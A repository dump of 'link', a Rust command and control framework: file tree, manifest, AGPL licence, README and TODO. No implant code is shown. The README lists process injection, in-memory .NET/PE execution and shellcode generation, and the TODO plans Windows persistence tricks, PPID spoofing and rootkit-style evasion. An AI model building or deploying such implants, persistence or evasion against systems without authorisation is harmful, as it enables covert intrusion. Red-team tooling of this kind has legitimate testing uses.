├── .gitignore ├── Cargo.toml ├── LICENSE ├── README.md ├── TODO ├── cert ├── cert.pem └── key.pem ├── kali-install.sh └── src ├── assets └── donut ├── links ├── linux │ ├── Cargo.toml │ ├── build.rs │ └── src │ │ ├── main.rs │ │ └── stdlib.rs ├── osx │ ├── Cargo.toml │ ├── build.rs │ └── src │ │ ├── main.rs │ │ └── stdlib.rs └── windows │ ├── Cargo.toml │ ├── build.rs │ └── src │ ├── evasion.rs │ ├── lib.rs │ ├── main.rs │ ├── nonstd.rs │ └── stdlib.rs ├── main.rs ├── models ├── db.rs └── mod.rs ├── routes ├── mod.rs └── urls.rs ├── server ├── links.rs ├── mod.rs ├── spawn.rs └── tasks.rs └── util ├── cli.rs ├── donut.rs ├── generate.rs ├── mod.rs ├── nonstd.rs ├── sharp.rs └── shellcode.rs /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | /target/ 4 | 5 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 6 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 7 | Cargo.lock 8 | 9 | # These are backup files generated by rustfmt 10 | **/*.rs.bk 11 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "link" 3 | version = "0.1.0" 4 | authors = ["postrequest"] 5 | edition = "2018" 6 | 7 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 8 | 9 | [dependencies] 10 | actix-web = { version = "3", features = ["openssl"] } 11 | openssl = { version = "0.10", features = ["v110"] } 12 | uuid = { version = "0.4", features = ["v4"] } 13 | chrono = "0.4" 14 | serde = "1.0.118" 15 | rustyline = "7.1.0" 16 | log = "0.4.0" 17 | env_logger = "0.8.2" 18 | base64 = "0.13.0" 19 | byteorder = "1" 20 | prettytable-rs = "0.8" 21 | #tui = "0.13" 22 | #termion = "1.5" 23 | #sqlx = { version = "0.4.0", default-features = false, features = ["runtime-actix-native-tls", "sqlite", "time"] } 24 | 25 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU AFFERO GENERAL PUBLIC LICENSE 2 | Version 3, 19 November 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU Affero General Public License is a free, copyleft license for 11 | software and other kinds of works, specifically designed to ensure 12 | cooperation with the community in the case of network server software. 13 | 14 | The licenses for most software and other practical works are designed 15 | to take away your freedom to share and change the works. By contrast, 16 | our General Public Licenses are intended to guarantee your freedom to 17 | share and change all versions of a program--to make sure it remains free 18 | software for all its users. 19 | 20 | When we speak of free software, we are referring to freedom, not 21 | price. Our General Public Licenses are designed to make sure that you 22 | have the freedom to distribute copies of free software (and charge for 23 | them if you wish), that you receive source code or can get it if you 24 | want it, that you can change the software or use pieces of it in new 25 | free programs, and that you know you can do these things. 26 | 27 | Developers that use our General Public Licenses protect your rights 28 | with two steps: (1) assert copyright on the software, and (2) offer 29 | you this License which gives you legal permission to copy, distribute 30 | and/or modify the software. 31 | 32 | A secondary benefit of defending all users' freedom is that 33 | improvements made in alternate versions of the program, if they 34 | receive widespread use, become available for other developers to 35 | incorporate. Many developers of free software are heartened and 36 | encouraged by the resulting cooperation. However, in the case of 37 | software used on network servers, this result may fail to come about. 38 | The GNU General Public License permits making a modified version and 39 | letting the public access it on a server without ever releasing its 40 | source code to the public. 41 | 42 | The GNU Affero General Public License is designed specifically to 43 | ensure that, in such cases, the modified source code becomes available 44 | to the community. It requires the operator of a network server to 45 | provide the source code of the modified version running there to the 46 | users of that server. Therefore, public use of a modified version, on 47 | a publicly accessible server, gives the public access to the source 48 | code of the modified version. 49 | 50 | An older license, called the Affero General Public License and 51 | published by Affero, was designed to accomplish similar goals. This is 52 | a different license, not a version of the Affero GPL, but Affero has 53 | released a new version of the Affero GPL which permits relicensing under 54 | this license. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | TERMS AND CONDITIONS 60 | 61 | 0. Definitions. 62 | 63 | "This License" refers to version 3 of the GNU Affero General Public License. 64 | 65 | "Copyright" also means copyright-like laws that apply to other kinds of 66 | works, such as semiconductor masks. 67 | 68 | "The Program" refers to any copyrightable work licensed under this 69 | License. Each licensee is addressed as "you". "Licensees" and 70 | "recipients" may be individuals or organizations. 71 | 72 | To "modify" a work means to copy from or adapt all or part of the work 73 | in a fashion requiring copyright permission, other than the making of an 74 | exact copy. The resulting work is called a "modified version" of the 75 | earlier work or a work "based on" the earlier work. 76 | 77 | A "covered work" means either the unmodified Program or a work based 78 | on the Program. 79 | 80 | To "propagate" a work means to do anything with it that, without 81 | permission, would make you directly or secondarily liable for 82 | infringement under applicable copyright law, except executing it on a 83 | computer or modifying a private copy. Propagation includes copying, 84 | distribution (with or without modification), making available to the 85 | public, and in some countries other activities as well. 86 | 87 | To "convey" a work means any kind of propagation that enables other 88 | parties to make or receive copies. Mere interaction with a user through 89 | a computer network, with no transfer of a copy, is not conveying. 90 | 91 | An interactive user interface displays "Appropriate Legal Notices" 92 | to the extent that it includes a convenient and prominently visible 93 | feature that (1) displays an appropriate copyright notice, and (2) 94 | tells the user that there is no warranty for the work (except to the 95 | extent that warranties are provided), that licensees may convey the 96 | work under this License, and how to view a copy of this License. If 97 | the interface presents a list of user commands or options, such as a 98 | menu, a prominent item in the list meets this criterion. 99 | 100 | 1. Source Code. 101 | 102 | The "source code" for a work means the preferred form of the work 103 | for making modifications to it. "Object code" means any non-source 104 | form of a work. 105 | 106 | A "Standard Interface" means an interface that either is an official 107 | standard defined by a recognized standards body, or, in the case of 108 | interfaces specified for a particular programming language, one that 109 | is widely used among developers working in that language. 110 | 111 | The "System Libraries" of an executable work include anything, other 112 | than the work as a whole, that (a) is included in the normal form of 113 | packaging a Major Component, but which is not part of that Major 114 | Component, and (b) serves only to enable use of the work with that 115 | Major Component, or to implement a Standard Interface for which an 116 | implementation is available to the public in source code form. A 117 | "Major Component", in this context, means a major essential component 118 | (kernel, window system, and so on) of the specific operating system 119 | (if any) on which the executable work runs, or a compiler used to 120 | produce the work, or an object code interpreter used to run it. 121 | 122 | The "Corresponding Source" for a work in object code form means all 123 | the source code needed to generate, install, and (for an executable 124 | work) run the object code and to modify the work, including scripts to 125 | control those activities. However, it does not include the work's 126 | System Libraries, or general-purpose tools or generally available free 127 | programs which are used unmodified in performing those activities but 128 | which are not part of the work. For example, Corresponding Source 129 | includes interface definition files associated with source files for 130 | the work, and the source code for shared libraries and dynamically 131 | linked subprograms that the work is specifically designed to require, 132 | such as by intimate data communication or control flow between those 133 | subprograms and other parts of the work. 134 | 135 | The Corresponding Source need not include anything that users 136 | can regenerate automatically from other parts of the Corresponding 137 | Source. 138 | 139 | The Corresponding Source for a work in source code form is that 140 | same work. 141 | 142 | 2. Basic Permissions. 143 | 144 | All rights granted under this License are granted for the term of 145 | copyright on the Program, and are irrevocable provided the stated 146 | conditions are met. This License explicitly affirms your unlimited 147 | permission to run the unmodified Program. The output from running a 148 | covered work is covered by this License only if the output, given its 149 | content, constitutes a covered work. This License acknowledges your 150 | rights of fair use or other equivalent, as provided by copyright law. 151 | 152 | You may make, run and propagate covered works that you do not 153 | convey, without conditions so long as your license otherwise remains 154 | in force. You may convey covered works to others for the sole purpose 155 | of having them make modifications exclusively for you, or provide you 156 | with facilities for running those works, provided that you comply with 157 | the terms of this License in conveying all material for which you do 158 | not control copyright. Those thus making or running the covered works 159 | for you must do so exclusively on your behalf, under your direction 160 | and control, on terms that prohibit them from making any copies of 161 | your copyrighted material outside their relationship with you. 162 | 163 | Conveying under any other circumstances is permitted solely under 164 | the conditions stated below. Sublicensing is not allowed; section 10 165 | makes it unnecessary. 166 | 167 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 168 | 169 | No covered work shall be deemed part of an effective technological 170 | measure under any applicable law fulfilling obligations under article 171 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 172 | similar laws prohibiting or restricting circumvention of such 173 | measures. 174 | 175 | When you convey a covered work, you waive any legal power to forbid 176 | circumvention of technological measures to the extent such circumvention 177 | is effected by exercising rights under this License with respect to 178 | the covered work, and you disclaim any intention to limit operation or 179 | modification of the work as a means of enforcing, against the work's 180 | users, your or third parties' legal rights to forbid circumvention of 181 | technological measures. 182 | 183 | 4. Conveying Verbatim Copies. 184 | 185 | You may convey verbatim copies of the Program's source code as you 186 | receive it, in any medium, provided that you conspicuously and 187 | appropriately publish on each copy an appropriate copyright notice; 188 | keep intact all notices stating that this License and any 189 | non-permissive terms added in accord with section 7 apply to the code; 190 | keep intact all notices of the absence of any warranty; and give all 191 | recipients a copy of this License along with the Program. 192 | 193 | You may charge any price or no price for each copy that you convey, 194 | and you may offer support or warranty protection for a fee. 195 | 196 | 5. Conveying Modified Source Versions. 197 | 198 | You may convey a work based on the Program, or the modifications to 199 | produce it from the Program, in the form of source code under the 200 | terms of section 4, provided that you also meet all of these conditions: 201 | 202 | a) The work must carry prominent notices stating that you modified 203 | it, and giving a relevant date. 204 | 205 | b) The work must carry prominent notices stating that it is 206 | released under this License and any conditions added under section 207 | 7. This requirement modifies the requirement in section 4 to 208 | "keep intact all notices". 209 | 210 | c) You must license the entire work, as a whole, under this 211 | License to anyone who comes into possession of a copy. This 212 | License will therefore apply, along with any applicable section 7 213 | additional terms, to the whole of the work, and all its parts, 214 | regardless of how they are packaged. This License gives no 215 | permission to license the work in any other way, but it does not 216 | invalidate such permission if you have separately received it. 217 | 218 | d) If the work has interactive user interfaces, each must display 219 | Appropriate Legal Notices; however, if the Program has interactive 220 | interfaces that do not display Appropriate Legal Notices, your 221 | work need not make them do so. 222 | 223 | A compilation of a covered work with other separate and independent 224 | works, which are not by their nature extensions of the covered work, 225 | and which are not combined with it such as to form a larger program, 226 | in or on a volume of a storage or distribution medium, is called an 227 | "aggregate" if the compilation and its resulting copyright are not 228 | used to limit the access or legal rights of the compilation's users 229 | beyond what the individual works permit. Inclusion of a covered work 230 | in an aggregate does not cause this License to apply to the other 231 | parts of the aggregate. 232 | 233 | 6. Conveying Non-Source Forms. 234 | 235 | You may convey a covered work in object code form under the terms 236 | of sections 4 and 5, provided that you also convey the 237 | machine-readable Corresponding Source under the terms of this License, 238 | in one of these ways: 239 | 240 | a) Convey the object code in, or embodied in, a physical product 241 | (including a physical distribution medium), accompanied by the 242 | Corresponding Source fixed on a durable physical medium 243 | customarily used for software interchange. 244 | 245 | b) Convey the object code in, or embodied in, a physical product 246 | (including a physical distribution medium), accompanied by a 247 | written offer, valid for at least three years and valid for as 248 | long as you offer spare parts or customer support for that product 249 | model, to give anyone who possesses the object code either (1) a 250 | copy of the Corresponding Source for all the software in the 251 | product that is covered by this License, on a durable physical 252 | medium customarily used for software interchange, for a price no 253 | more than your reasonable cost of physically performing this 254 | conveying of source, or (2) access to copy the 255 | Corresponding Source from a network server at no charge. 256 | 257 | c) Convey individual copies of the object code with a copy of the 258 | written offer to provide the Corresponding Source. This 259 | alternative is allowed only occasionally and noncommercially, and 260 | only if you received the object code with such an offer, in accord 261 | with subsection 6b. 262 | 263 | d) Convey the object code by offering access from a designated 264 | place (gratis or for a charge), and offer equivalent access to the 265 | Corresponding Source in the same way through the same place at no 266 | further charge. You need not require recipients to copy the 267 | Corresponding Source along with the object code. If the place to 268 | copy the object code is a network server, the Corresponding Source 269 | may be on a different server (operated by you or a third party) 270 | that supports equivalent copying facilities, provided you maintain 271 | clear directions next to the object code saying where to find the 272 | Corresponding Source. Regardless of what server hosts the 273 | Corresponding Source, you remain obligated to ensure that it is 274 | available for as long as needed to satisfy these requirements. 275 | 276 | e) Convey the object code using peer-to-peer transmission, provided 277 | you inform other peers where the object code and Corresponding 278 | Source of the work are being offered to the general public at no 279 | charge under subsection 6d. 280 | 281 | A separable portion of the object code, whose source code is excluded 282 | from the Corresponding Source as a System Library, need not be 283 | included in conveying the object code work. 284 | 285 | A "User Product" is either (1) a "consumer product", which means any 286 | tangible personal property which is normally used for personal, family, 287 | or household purposes, or (2) anything designed or sold for incorporation 288 | into a dwelling. In determining whether a product is a consumer product, 289 | doubtful cases shall be resolved in favor of coverage. For a particular 290 | product received by a particular user, "normally used" refers to a 291 | typical or common use of that class of product, regardless of the status 292 | of the particular user or of the way in which the particular user 293 | actually uses, or expects or is expected to use, the product. A product 294 | is a consumer product regardless of whether the product has substantial 295 | commercial, industrial or non-consumer uses, unless such uses represent 296 | the only significant mode of use of the product. 297 | 298 | "Installation Information" for a User Product means any methods, 299 | procedures, authorization keys, or other information required to install 300 | and execute modified versions of a covered work in that User Product from 301 | a modified version of its Corresponding Source. The information must 302 | suffice to ensure that the continued functioning of the modified object 303 | code is in no case prevented or interfered with solely because 304 | modification has been made. 305 | 306 | If you convey an object code work under this section in, or with, or 307 | specifically for use in, a User Product, and the conveying occurs as 308 | part of a transaction in which the right of possession and use of the 309 | User Product is transferred to the recipient in perpetuity or for a 310 | fixed term (regardless of how the transaction is characterized), the 311 | Corresponding Source conveyed under this section must be accompanied 312 | by the Installation Information. But this requirement does not apply 313 | if neither you nor any third party retains the ability to install 314 | modified object code on the User Product (for example, the work has 315 | been installed in ROM). 316 | 317 | The requirement to provide Installation Information does not include a 318 | requirement to continue to provide support service, warranty, or updates 319 | for a work that has been modified or installed by the recipient, or for 320 | the User Product in which it has been modified or installed. Access to a 321 | network may be denied when the modification itself materially and 322 | adversely affects the operation of the network or violates the rules and 323 | protocols for communication across the network. 324 | 325 | Corresponding Source conveyed, and Installation Information provided, 326 | in accord with this section must be in a format that is publicly 327 | documented (and with an implementation available to the public in 328 | source code form), and must require no special password or key for 329 | unpacking, reading or copying. 330 | 331 | 7. Additional Terms. 332 | 333 | "Additional permissions" are terms that supplement the terms of this 334 | License by making exceptions from one or more of its conditions. 335 | Additional permissions that are applicable to the entire Program shall 336 | be treated as though they were included in this License, to the extent 337 | that they are valid under applicable law. If additional permissions 338 | apply only to part of the Program, that part may be used separately 339 | under those permissions, but the entire Program remains governed by 340 | this License without regard to the additional permissions. 341 | 342 | When you convey a copy of a covered work, you may at your option 343 | remove any additional permissions from that copy, or from any part of 344 | it. (Additional permissions may be written to require their own 345 | removal in certain cases when you modify the work.) You may place 346 | additional permissions on material, added by you to a covered work, 347 | for which you have or can give appropriate copyright permission. 348 | 349 | Notwithstanding any other provision of this License, for material you 350 | add to a covered work, you may (if authorized by the copyright holders of 351 | that material) supplement the terms of this License with terms: 352 | 353 | a) Disclaiming warranty or limiting liability differently from the 354 | terms of sections 15 and 16 of this License; or 355 | 356 | b) Requiring preservation of specified reasonable legal notices or 357 | author attributions in that material or in the Appropriate Legal 358 | Notices displayed by works containing it; or 359 | 360 | c) Prohibiting misrepresentation of the origin of that material, or 361 | requiring that modified versions of such material be marked in 362 | reasonable ways as different from the original version; or 363 | 364 | d) Limiting the use for publicity purposes of names of licensors or 365 | authors of the material; or 366 | 367 | e) Declining to grant rights under trademark law for use of some 368 | trade names, trademarks, or service marks; or 369 | 370 | f) Requiring indemnification of licensors and authors of that 371 | material by anyone who conveys the material (or modified versions of 372 | it) with contractual assumptions of liability to the recipient, for 373 | any liability that these contractual assumptions directly impose on 374 | those licensors and authors. 375 | 376 | All other non-permissive additional terms are considered "further 377 | restrictions" within the meaning of section 10. If the Program as you 378 | received it, or any part of it, contains a notice stating that it is 379 | governed by this License along with a term that is a further 380 | restriction, you may remove that term. If a license document contains 381 | a further restriction but permits relicensing or conveying under this 382 | License, you may add to a covered work material governed by the terms 383 | of that license document, provided that the further restriction does 384 | not survive such relicensing or conveying. 385 | 386 | If you add terms to a covered work in accord with this section, you 387 | must place, in the relevant source files, a statement of the 388 | additional terms that apply to those files, or a notice indicating 389 | where to find the applicable terms. 390 | 391 | Additional terms, permissive or non-permissive, may be stated in the 392 | form of a separately written license, or stated as exceptions; 393 | the above requirements apply either way. 394 | 395 | 8. Termination. 396 | 397 | You may not propagate or modify a covered work except as expressly 398 | provided under this License. Any attempt otherwise to propagate or 399 | modify it is void, and will automatically terminate your rights under 400 | this License (including any patent licenses granted under the third 401 | paragraph of section 11). 402 | 403 | However, if you cease all violation of this License, then your 404 | license from a particular copyright holder is reinstated (a) 405 | provisionally, unless and until the copyright holder explicitly and 406 | finally terminates your license, and (b) permanently, if the copyright 407 | holder fails to notify you of the violation by some reasonable means 408 | prior to 60 days after the cessation. 409 | 410 | Moreover, your license from a particular copyright holder is 411 | reinstated permanently if the copyright holder notifies you of the 412 | violation by some reasonable means, this is the first time you have 413 | received notice of violation of this License (for any work) from that 414 | copyright holder, and you cure the violation prior to 30 days after 415 | your receipt of the notice. 416 | 417 | Termination of your rights under this section does not terminate the 418 | licenses of parties who have received copies or rights from you under 419 | this License. If your rights have been terminated and not permanently 420 | reinstated, you do not qualify to receive new licenses for the same 421 | material under section 10. 422 | 423 | 9. Acceptance Not Required for Having Copies. 424 | 425 | You are not required to accept this License in order to receive or 426 | run a copy of the Program. Ancillary propagation of a covered work 427 | occurring solely as a consequence of using peer-to-peer transmission 428 | to receive a copy likewise does not require acceptance. However, 429 | nothing other than this License grants you permission to propagate or 430 | modify any covered work. These actions infringe copyright if you do 431 | not accept this License. Therefore, by modifying or propagating a 432 | covered work, you indicate your acceptance of this License to do so. 433 | 434 | 10. Automatic Licensing of Downstream Recipients. 435 | 436 | Each time you convey a covered work, the recipient automatically 437 | receives a license from the original licensors, to run, modify and 438 | propagate that work, subject to this License. You are not responsible 439 | for enforcing compliance by third parties with this License. 440 | 441 | An "entity transaction" is a transaction transferring control of an 442 | organization, or substantially all assets of one, or subdividing an 443 | organization, or merging organizations. If propagation of a covered 444 | work results from an entity transaction, each party to that 445 | transaction who receives a copy of the work also receives whatever 446 | licenses to the work the party's predecessor in interest had or could 447 | give under the previous paragraph, plus a right to possession of the 448 | Corresponding Source of the work from the predecessor in interest, if 449 | the predecessor has it or can get it with reasonable efforts. 450 | 451 | You may not impose any further restrictions on the exercise of the 452 | rights granted or affirmed under this License. For example, you may 453 | not impose a license fee, royalty, or other charge for exercise of 454 | rights granted under this License, and you may not initiate litigation 455 | (including a cross-claim or counterclaim in a lawsuit) alleging that 456 | any patent claim is infringed by making, using, selling, offering for 457 | sale, or importing the Program or any portion of it. 458 | 459 | 11. Patents. 460 | 461 | A "contributor" is a copyright holder who authorizes use under this 462 | License of the Program or a work on which the Program is based. The 463 | work thus licensed is called the contributor's "contributor version". 464 | 465 | A contributor's "essential patent claims" are all patent claims 466 | owned or controlled by the contributor, whether already acquired or 467 | hereafter acquired, that would be infringed by some manner, permitted 468 | by this License, of making, using, or selling its contributor version, 469 | but do not include claims that would be infringed only as a 470 | consequence of further modification of the contributor version. For 471 | purposes of this definition, "control" includes the right to grant 472 | patent sublicenses in a manner consistent with the requirements of 473 | this License. 474 | 475 | Each contributor grants you a non-exclusive, worldwide, royalty-free 476 | patent license under the contributor's essential patent claims, to 477 | make, use, sell, offer for sale, import and otherwise run, modify and 478 | propagate the contents of its contributor version. 479 | 480 | In the following three paragraphs, a "patent license" is any express 481 | agreement or commitment, however denominated, not to enforce a patent 482 | (such as an express permission to practice a patent or covenant not to 483 | sue for patent infringement). To "grant" such a patent license to a 484 | party means to make such an agreement or commitment not to enforce a 485 | patent against the party. 486 | 487 | If you convey a covered work, knowingly relying on a patent license, 488 | and the Corresponding Source of the work is not available for anyone 489 | to copy, free of charge and under the terms of this License, through a 490 | publicly available network server or other readily accessible means, 491 | then you must either (1) cause the Corresponding Source to be so 492 | available, or (2) arrange to deprive yourself of the benefit of the 493 | patent license for this particular work, or (3) arrange, in a manner 494 | consistent with the requirements of this License, to extend the patent 495 | license to downstream recipients. "Knowingly relying" means you have 496 | actual knowledge that, but for the patent license, your conveying the 497 | covered work in a country, or your recipient's use of the covered work 498 | in a country, would infringe one or more identifiable patents in that 499 | country that you have reason to believe are valid. 500 | 501 | If, pursuant to or in connection with a single transaction or 502 | arrangement, you convey, or propagate by procuring conveyance of, a 503 | covered work, and grant a patent license to some of the parties 504 | receiving the covered work authorizing them to use, propagate, modify 505 | or convey a specific copy of the covered work, then the patent license 506 | you grant is automatically extended to all recipients of the covered 507 | work and works based on it. 508 | 509 | A patent license is "discriminatory" if it does not include within 510 | the scope of its coverage, prohibits the exercise of, or is 511 | conditioned on the non-exercise of one or more of the rights that are 512 | specifically granted under this License. You may not convey a covered 513 | work if you are a party to an arrangement with a third party that is 514 | in the business of distributing software, under which you make payment 515 | to the third party based on the extent of your activity of conveying 516 | the work, and under which the third party grants, to any of the 517 | parties who would receive the covered work from you, a discriminatory 518 | patent license (a) in connection with copies of the covered work 519 | conveyed by you (or copies made from those copies), or (b) primarily 520 | for and in connection with specific products or compilations that 521 | contain the covered work, unless you entered into that arrangement, 522 | or that patent license was granted, prior to 28 March 2007. 523 | 524 | Nothing in this License shall be construed as excluding or limiting 525 | any implied license or other defenses to infringement that may 526 | otherwise be available to you under applicable patent law. 527 | 528 | 12. No Surrender of Others' Freedom. 529 | 530 | If conditions are imposed on you (whether by court order, agreement or 531 | otherwise) that contradict the conditions of this License, they do not 532 | excuse you from the conditions of this License. If you cannot convey a 533 | covered work so as to satisfy simultaneously your obligations under this 534 | License and any other pertinent obligations, then as a consequence you may 535 | not convey it at all. For example, if you agree to terms that obligate you 536 | to collect a royalty for further conveying from those to whom you convey 537 | the Program, the only way you could satisfy both those terms and this 538 | License would be to refrain entirely from conveying the Program. 539 | 540 | 13. Remote Network Interaction; Use with the GNU General Public License. 541 | 542 | Notwithstanding any other provision of this License, if you modify the 543 | Program, your modified version must prominently offer all users 544 | interacting with it remotely through a computer network (if your version 545 | supports such interaction) an opportunity to receive the Corresponding 546 | Source of your version by providing access to the Corresponding Source 547 | from a network server at no charge, through some standard or customary 548 | means of facilitating copying of software. This Corresponding Source 549 | shall include the Corresponding Source for any work covered by version 3 550 | of the GNU General Public License that is incorporated pursuant to the 551 | following paragraph. 552 | 553 | Notwithstanding any other provision of this License, you have 554 | permission to link or combine any covered work with a work licensed 555 | under version 3 of the GNU General Public License into a single 556 | combined work, and to convey the resulting work. The terms of this 557 | License will continue to apply to the part which is the covered work, 558 | but the work with which it is combined will remain governed by version 559 | 3 of the GNU General Public License. 560 | 561 | 14. Revised Versions of this License. 562 | 563 | The Free Software Foundation may publish revised and/or new versions of 564 | the GNU Affero General Public License from time to time. Such new versions 565 | will be similar in spirit to the present version, but may differ in detail to 566 | address new problems or concerns. 567 | 568 | Each version is given a distinguishing version number. If the 569 | Program specifies that a certain numbered version of the GNU Affero General 570 | Public License "or any later version" applies to it, you have the 571 | option of following the terms and conditions either of that numbered 572 | version or of any later version published by the Free Software 573 | Foundation. If the Program does not specify a version number of the 574 | GNU Affero General Public License, you may choose any version ever published 575 | by the Free Software Foundation. 576 | 577 | If the Program specifies that a proxy can decide which future 578 | versions of the GNU Affero General Public License can be used, that proxy's 579 | public statement of acceptance of a version permanently authorizes you 580 | to choose that version for the Program. 581 | 582 | Later license versions may give you additional or different 583 | permissions. However, no additional obligations are imposed on any 584 | author or copyright holder as a result of your choosing to follow a 585 | later version. 586 | 587 | 15. Disclaimer of Warranty. 588 | 589 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 590 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 591 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 592 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 593 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 594 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 595 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 596 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 597 | 598 | 16. Limitation of Liability. 599 | 600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 602 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 603 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 604 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 605 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 606 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 607 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 608 | SUCH DAMAGES. 609 | 610 | 17. Interpretation of Sections 15 and 16. 611 | 612 | If the disclaimer of warranty and limitation of liability provided 613 | above cannot be given local legal effect according to their terms, 614 | reviewing courts shall apply local law that most closely approximates 615 | an absolute waiver of all civil liability in connection with the 616 | Program, unless a warranty or assumption of liability accompanies a 617 | copy of the Program in return for a fee. 618 | 619 | END OF TERMS AND CONDITIONS 620 | 621 | How to Apply These Terms to Your New Programs 622 | 623 | If you develop a new program, and you want it to be of the greatest 624 | possible use to the public, the best way to achieve this is to make it 625 | free software which everyone can redistribute and change under these terms. 626 | 627 | To do so, attach the following notices to the program. It is safest 628 | to attach them to the start of each source file to most effectively 629 | state the exclusion of warranty; and each file should have at least 630 | the "copyright" line and a pointer to where the full notice is found. 631 | 632 | 633 | Copyright (C) 634 | 635 | This program is free software: you can redistribute it and/or modify 636 | it under the terms of the GNU Affero General Public License as published 637 | by the Free Software Foundation, either version 3 of the License, or 638 | (at your option) any later version. 639 | 640 | This program is distributed in the hope that it will be useful, 641 | but WITHOUT ANY WARRANTY; without even the implied warranty of 642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 643 | GNU Affero General Public License for more details. 644 | 645 | You should have received a copy of the GNU Affero General Public License 646 | along with this program. If not, see . 647 | 648 | Also add information on how to contact you by electronic and paper mail. 649 | 650 | If your software can interact with users remotely through a computer 651 | network, you should also make sure that it provides a way for users to 652 | get its source. For example, if your program is a web application, its 653 | interface could display a "Source" link that leads users to an archive 654 | of the code. There are many ways you could offer source, and different 655 | solutions will be better for different programs; see section 13 for the 656 | specific requirements. 657 | 658 | You should also get your employer (if you work as a programmer) or school, 659 | if any, to sign a "copyright disclaimer" for the program, if necessary. 660 | For more information on this, and how to apply and follow the GNU AGPL, see 661 | . 662 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

link


2 |

3 | 4 | 🔗 5 | 6 |

7 | 8 |

9 | link is a command and control framework written in rust. Currently in beta. 10 |

11 | 12 |

13 | 14 | Download on the App Store 15 | 16 | 17 | 18 | Get it on Google Play 19 | 20 |

21 | 22 | ## Table of Contents 23 | 24 | - [Introduction](#introduction) 25 | - [Features](#features) 26 | - [Feedback](#feedback) 27 | - [Build Process](#build-process) 28 | - [Acknowledgments](#acknowledgments) 29 | 30 | ## Introduction 31 | 32 | [![Repo Size](https://img.shields.io/github/repo-size/postrequest/link)](https://img.shields.io/github/repo-size/postrequest/link) 33 | [![Lines of code](https://img.shields.io/tokei/lines/github/postrequest/link)](https://img.shields.io/tokei/lines/github/postrequest/link) 34 | [![License: AGPL v3](https://img.shields.io/badge/License-AGPLv3-blue.svg)](https://www.gnu.org/licenses/agpl-3.0.en.html) 35 | [![Rust Report Card](https://rust-reportcard.xuri.me/badge/github.com/postrequest/link)](https://rust-reportcard.xuri.me/report/github.com/postrequest/link) 36 | 37 | link provides MacOS, Linux and Windows implants which may lack the necessary evasive tradecraft provided by other more mature command and control frameworks. 38 | 39 | ## Features 40 | 41 | Hopefully this list expands for humans to actually want to use this: 42 | 43 | * HTTPS communication 44 | * Process injection 45 | * In-memory .NET assembly and Windows PE execution 46 | * SharpCollection tools 47 | * sRDI implementation for shellcode generation 48 | * Windows link reloads DLLs from disk into current process 49 | 50 | ## Feedback 51 | 52 | Feel free to [file an issue](https://github.com/postrequest/link/issues/new). 53 | 54 | ## Build Process 55 | 56 | - Clone or download the repo 57 | - `cargo run` if you are eager to run it **right now** 58 | - `cargo build --release` to build the link server executable 59 | 60 | For more information check out [Installation and Usage](https://github.com/postrequest/link/wiki/Installation-and-Usage). 61 | 62 | ## Acknowledgments 63 | 64 | A non-exhaustive list of those who have in some way inspired this project by means of writing code, snippets, ideas or inspiration: 65 | 66 | [@rust](https://github.com/rust-lang) 67 | [@moloch--](https://github.com/moloch--) 68 | [@djhohnstein](https://github.com/djhohnstein) 69 | [@lesnuages](https://github.com/lesnuages) 70 | [@Flangvik](https://github.com/Flangvik) 71 | [@monoxgas](https://github.com/monoxgas) 72 | [@b4rtik](https://github.com/b4rtik) 73 | 74 | -------------------------------------------------------------------------------- /TODO: -------------------------------------------------------------------------------- 1 | [Windows Persistence] 2 | * generate dlls ready for proxying for teams 3 | * registry 4 | * startup folder 5 | * junction folder 6 | * COM scheduled task: similar to COM hijack but you are not actually hijacking an existing COM object, but instead implementing and registering your own 7 | 8 | [TUI] 9 | https://github.com/fdehau/tui-rs 10 | https://github.com/ivanceras/titik 11 | 12 | [GUI] 13 | https://github.com/PistonDevelopers/conrod/ 14 | 15 | [Link] 16 | - make jitter and delay adjustable 17 | - add evasion PPID spoofer for windows 18 | - make use of evasion from https://github.com/f0rb1dd3n/Reptile for linux link 19 | - check this out https://github.com/gsfraley/dotrust 20 | 21 | [Link Modules] 22 | - add powershell modules from empire 23 | 